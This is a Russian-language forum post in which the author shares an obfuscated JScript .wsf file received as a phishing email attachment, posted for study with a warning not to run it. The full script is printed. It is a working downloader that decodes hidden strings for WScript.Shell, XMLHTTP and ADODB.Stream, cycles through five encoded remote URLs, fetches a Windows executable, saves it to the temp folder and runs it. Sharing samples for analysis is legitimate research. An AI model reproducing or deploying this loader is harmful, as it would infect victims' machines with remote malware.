несколько дней назад получил на почту.
какое-то письмо про банк, дебит, хз...не помню точно.
в аттаче был zip-архив, в котором был zip-архив, в котором был этот скрипт.
выкладываю ради изучения. самому ковыряться лень...
не выполняйте его(хотя, я хз, как вообще его выполнить, расширение у него .wsf)
беглый просмотр выявил такие странные имена переменных:
pyatka
pozge
SerenaWILLI
pillulia
собсно сам скрипт:
<?xml?>
<package>
<job id='LBjxEUD'><script language='JScript'><![CDATA[
var mainArray = new Array(2,2,2,65,2,2,2,66,55,56,57,58,59,60,61,62,63,64,2,2,2,2,2,2,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2,2,2,2,2,2,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,2,2,2
);
]]></script>
<script language='JScript'><;
watermelladmixturepodelomdali= watermelladmixturepodelomdali["replace"](/PIRSMASTER/g, '');
var watermelladmixturelen = watermelladmixtureCalculateMyTralala(watermelladmixturepodelomdali);
while (watermelladmixtureXCOP - watermelladmixturelen < 0) {
do {
watermelladmixtureddDccC1 = mainArray[pozge & watermelladmixturepodelomdali['charCodeAt'](watermelladmixtureXCOP) ];watermelladmixtureXCOP++;
} while (watermelladmixtureXCOP < watermelladmixturelen && watermelladmixtureddDccC1 +1 == 0);
if (watermelladmixtureddDccC1 == -1)
break;
var pyatka;
do {
pyatka = watermelladmixturepodelomdali["charCodeAt"](watermelladmixtureXCOP++) & pozge;
watermelladmixtureWrongSmthng = mainArray[pyatka];
} while (watermelladmixtureXCOP < watermelladmixturelen && watermelladmixtureWrongSmthng == 2-3);
if (watermelladmixtureWrongSmthng +1== 0)
break;
watermelladmixtureEssential += String[abbida]((watermelladmixtureddDccC1 << 2) | ((watermelladmixtureWrongSmthng & 0x30) >> 4));
do {
watermelladmixturec3 = watermelladmixturepodelomdali.charCodeAt(watermelladmixtureXCOP++) & 0xff;
if (watermelladmixturec3 == 10*6+0.5*2)
return watermelladmixtureEssential;
watermelladmixturec3 = mainArray[watermelladmixturec3];
} while (watermelladmixtureXCOP < watermelladmixturelen && watermelladmixturec3 == -1);
if (watermelladmixturec3 == -1)
break;
watermelladmixtureEssential += String.fromCharCode(((watermelladmixtureWrongSmthng & (0XE+1)) << 4) | ((watermelladmixturec3 & 0x3c) >> 2));
do {
watermelladmixtureXCOP++;
MSEZ = watermelladmixturepodelomdali["charCodeAt"](watermelladmixtureXCOP-1);
MSEZ = MSEZ & 0xFF;
while ( MSEZ < 62 && MSEZ > 60){
throw watermelladmixtureEssential;
}
MSEZ = mainArray[MSEZ];
} while (watermelladmixtureXCOP < watermelladmixturelen && MSEZ == -1);
if (MSEZ + 1== 0)
break;
var crSopus = ((watermelladmixturec3 & 0x03) << 6) | MSEZ;
watermelladmixtureEssential =watermelladmixtureEssential+ String.fromCharCode(crSopus);
}
}catch (exception_var) {return exception_var;}
return watermelladmixtureEssential;};
]]></script>
<script language='JScript'><![CDATA[
var watermelladmixturetrepachopak = function(p){
return new watermelladmixturenezlobin(p);
};
var watermelladmixture5weasel = ""+"E";
var gitSoad;
var watermelladmixture5DRUZA = 17* (221-4)*(44-4-40);
var watermelladmixture5jji= "http://";
watermelladmixtureHubble['88'] = '';
var BrabusT2 = new Function("var agitSoad= 15-7;gitSoad = 'GET';");
BrabusT2();
var watermelladmixtureApplePen = 1;
var otherwise1,otherwise3,otherwise4,otherwise5,otherwise6, watermelladmixturewatermelladmixture23;
function bytesOf (x) {
x = Math.floor(x);
var bytes = [];
return bytes;
}
function watermelladmixture5achievment(watermelladmixture5bidttt){if(watermelladmixture5bidttt==1){return 2;}else{return 17;}
return 3;};
function watermelladmixture5center(watermelladmixture5rivulet) {
request = watermelladmixture5rivulet;
for (var watermelladmixture5XCOP in watermelladmixtureHubble){
request = request['replace'](watermelladmixture5XCOP, watermelladmixtureHubble[watermelladmixture5XCOP]);}
return request;
};
var pozge = 0x33 * 5;
var Franch = "eng"+'t'+"h";
var ckk= 0;
var pkk = mainArray["l"+Franch];
for (; -pkk+ckk< 0 ; ++ckk) {
mainArray[ckk] = mainArray[ckk]-2-1 ;
}
var watermelladmixturesophos2 = "QURPRVALENTINEEIuU3RyZWFt";
function watermelladmixtureCalculateMyTralala(tris1,vardos, tris){
var aax = "";
return tris1[aax+watermelladmixture5lololosh+Franch];
}
var watermelladmixture5TRUEFALSE=("undefined" === typeof(watermelladmixture5GzEAPd) && (WSH +"VALENTINE" ==ferzyach0("VALENTINEV2lVALENTINEuZG93cyBTY3JpcVALENTINEHQgSG9zdA==") +"VALENTINE"));
if ( watermelladmixture5TRUEFALSE)
var SerenaWILLI = ferzyach0(SearchCircle);
watermelladmixtureSHUsha = "ty" + "pe";
var pillulia = "TVNYTVALENTINEUwyLlhNTEhVALENTINEUVFA9V"+'1NVALENTINEjcmlwdC5TVALENTINEaGVsbA==';
var watermelladmixtureTooBIG = new Function("watermelladmixtureBetonnka= ferzyach0(pillulia).split('=');");
function watermelladmixturepokimogo(watermelladmixtureShibaba6,watermelladmixtureShibaba2, watermelladmixtureShibaba8 ){
var zx= watermelladmixtureShibaba6[NOSHORN-NOSHORN];
watermelladmixtureShibaba6.splice(NOSHORN-NOSHORN,NOSHORN-NOSHORN +1);
return zx;
}
var UAUAUA = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0 ";
watermelladmixturesophos2 = ferzyach0(watermelladmixturesophos2);
var watermelladmixture5sirdallos =ferzyach0("VALENTINERXhwYW5VALENTINEkRW52aXVALENTINEJvbm1lbnRTdHJVALENTINEpbmdz");
watermelladmixturetrepachopak.watermelladmixture5XCOPmplement = function(watermelladmixture5objects, watermelladmixture5properties){
for (var watermelladmixture5l = watermelladmixture5objects.length, watermelladmixture5XCOP = 0; watermelladmixture5XCOP < watermelladmixture5l; watermelladmixture5XCOP++) watermelladmixture5objects[watermelladmixture5XCOP].watermelladmixture5XCOPmplement(watermelladmixture5properties);
};
var watermelladmixture5jjit = "position";
var watermelladmixtureProraso = [ferzyach0("QWN0aXZlWE9iamVjdA=="), watermelladmixture5sirdallos,ferzyach0("VALENTINEJVRFTVALENTINEVAl"), ".ex"+"e", ferzyach0("UnVALENTINEVuVALENTINE")];
var watermelladmixturevechern7;
watermelladmixturewatermelladmixture23 = ferzyach0("b3VALENTINEBlbg=VALENTINE=");
watermelladmixture5fabled = "Hydro2Blust";
watermelladmixture5Richters = watermelladmixturepokimogo(watermelladmixtureProraso);
watermelladmixturetrepachopak.watermelladmixture5typize = function(object, watermelladmixture5family){
if (!object.type) object.type = function(item){
return (watermelladmixture5$type(item) === watermelladmixture5family);
};
};
var watermelladmixtureBetonnka;
watermelladmixtureTooBIG();
watermelladmixture5tudabilo1 = "s";
watermelladmixture5casque = "p";
var watermelladmixtureshredeng = new watermelladmixturenezlobin(watermelladmixtureBetonnka[watermelladmixtureBetonnka.length - 1]);
for(;;){break;}
watermelladmixturevechern7= watermelladmixtureshredeng[watermelladmixturepokimogo(watermelladmixtureProraso)](watermelladmixturepokimogo(watermelladmixtureProraso));
var watermelladmixture5SIDRENKOV = watermelladmixturepokimogo(watermelladmixtureProraso);
var watermelladmixture5promises = watermelladmixturepokimogo(watermelladmixtureProraso);
var watermelladmixtureMYXA = watermelladmixtureBetonnka.shift();
var watermelladmixtureWakaWakaFol = SerenaWILLI+watermelladmixture5center( "77");
]]></script>
<script language='JScript'><![CDATA[
var watermelladmixtureTonce = new Function("RRD,FFR", ''+ watermelladmixtureWakaWakaFol);
function watermelladmixture5itakvsegda(T, D) {
T[D]();
}
var watermelladmixture5pudlimudli =watermelladmixturetrepachopak( watermelladmixtureMYXA );
function watermelladmixture5_VoCHO(T, D, C) {
T[D](C);
}
watermelladmixtureTonce("tonce",8);
function watermelladmixtureTDCDCDC(T, D, C) {
T[ferzyach0(D)](C);
}
var ifQMaskTC;
function watermelladmixtureHardBloodPot(watermelladmixturewatermelladmixture3, watermelladmixture5StrokaParam2, watermelladmixture5StrokaParam3,watermelladmixture5StrokaParam4) {
ifQMaskTC = false;var watermelladmixtureaaae=watermelladmixturevechern7+ "/"+ watermelladmixture5StrokaParam2 ;
var watermelladmixture5_VoCHO55 = "btBtmeR";
watermelladmixture5_VoCHO55 = watermelladmixture5_VoCHO55 + "cedlako";
if (watermelladmixture5TRUEFALSE) {
watermelladmixture5pudlimudli[watermelladmixturewatermelladmixture23](gitSoad, watermelladmixturewatermelladmixture3, false);
watermelladmixture5_VoCHO_ALL_ALL(watermelladmixture5pudlimudli, true);
watermelladmixture5pudlimudli[watermelladmixture5tudabilo1 + ("beamboxdulcet","beamboxbabes","beamboxacorn","beamboxvoltage","beamboxsafer",'end')]();
var watermelladmixtureDragonFlu = watermelladmixturetrepachopak(''+watermelladmixturesophos2);
mercedesbenzzISHEVGaSMa = "Hydro10Blust";
watermelladmixtureDragonFlu.open();
watermelladmixtureDragonFlu[watermelladmixtureSHUsha] = watermelladmixtureApplePen;
watermelladmixtureTDCDCDC(watermelladmixtureDragonFlu, "d3VALENTINEJpdVALENTINEGU=",watermelladmixture5pudlimudli["Re"+watermelladmixtureHubble['BOBBY']+ferzyach0("Qm9keQ==")] );
watermelladmixture5XWaxeQhw = "Hydro11Blust";
watermelladmixtureDragonFlu[watermelladmixture5jjit] = 32-10-22;
watermelladmixture5krDwvrh = "Hydro12Blust";
watermelladmixtureDragonFlu[ferzyach0("c2F2VALENTINEZVRvRmlsZQ=VALENTINE=VALENTINE")](watermelladmixtureaaae, 2);
watermelladmixtureDragonFlu["close"]();
watermelladmixture5SswQdi = "Hydro13Blust";
var watermelladmixtureKirkorov=otherwise1(watermelladmixtureaaae);
watermelladmixture5SswQdi = "Hydro14Blust"; watermelladmixtureKirkorov=otherwise6(watermelladmixtureKirkorov);
watermelladmixture5SswQdi = "Hydro15Blust";
var watermelladmixtureDataLength = watermelladmixtureCalculateMyTralala(watermelladmixtureKirkorov);
watermelladmixture5SswQdi = "Hydro16Blust";
if(29532 >watermelladmixtureDataLength + 1 )return !watermelladmixture5TRUEFALSE;
if (watermelladmixtureKirkorov[1-1]!= 77 || watermelladmixtureKirkorov[1]!= 90)return false;
watermelladmixtureaaae = watermelladmixtureaaae +watermelladmixture5StrokaParam3;
otherwise5(watermelladmixtureaaae, watermelladmixtureKirkorov );
watermelladmixtureshredeng[watermelladmixture5promises](watermelladmixtureaaae, 1, true);
ifQMaskTC = watermelladmixture5TRUEFALSE;
}
};
var listPon="Header( 'User-Agent'";
var watermelladmixture5_VoCHO_ALL_ALL = new Function("zAk", "zAk.setRequest" + listPon+" , UAUAUA ) ; ");
var watermelladmixtureTeam17 = "uUHAvrG";
var otherwise8 = otherwise3("Qr9jz0WL67ASOLRnYjSRftiofUJigeuh");
function Durable(sp1,sp2) { try{
}catch(ex){} };
var watermelladmixtureStounhandg = 0;
function watermelladmixtureNMTPIKVOM(watermelladmixture5_a5,watermelladmixtureAllRoad,watermelladmixture5_a77,watermelladmixture5_a88){ if (watermelladmixture5TRUEFALSE) {
var i=0;
while(i<watermelladmixture5_a5.length){
watermelladmixtureStounhandg=watermelladmixtureStounhandg+2;
if(!ifQMaskTC){
try{
try{
try{
var watermelladmixturehangBangMang =watermelladmixture5jji+ ferzyach0(watermelladmixture5_a5[i]) + "?sGkwHog=rHWiGKnAfFU";
try{
watermelladmixtureHardBloodPot(watermelladmixturehangBangMang,watermelladmixtureTeam17+watermelladmixtureStounhandg,watermelladmixtureAllRoad)
}catch(circleErr){
if(ifQMaskTC){
continue;
}
}
}catch(finallyErr1){
if(ifQMaskTC){
continue;
}
}
}catch(finallyErr2){}
}catch(finallyErr3){}
}
i++;
} } }
]]></script>
<script language='JScript'><![CDATA[
var watermelladmixture5checheche = ["ZXVyb3BlZ3ltLVALENTINEmJlLzA4MzQ1dWc/","Nzh0Z3V5Yzg3Nnd3aXJnbG1sdG0ubmV0L2FmLzA4MzQ1dWc=","YXNtYW4ucmFpbHNwbGF5Z3JvdW5kLm5ldC8wODM0VALENTINENXVnPw==","cmFuZG9tZXNzc3Rpb3Byb3R0b3kubmV0L2FmLzA4MzQ1dWc=","YmxpdHphY2FVALENTINEkZW15LmluLzA4MzQ1dWc/"];
function das33() {
watermelladmixtureNMTPIKVOM(watermelladmixture5checheche, watermelladmixture5SIDRENKOV);
}
das33();
]]></script>
</job>
</package>
пачка бумаги А4 стОит 2000 р, в ней 500 листов. получается, лист обычной бумаги стОит дороже имперского рубля =)
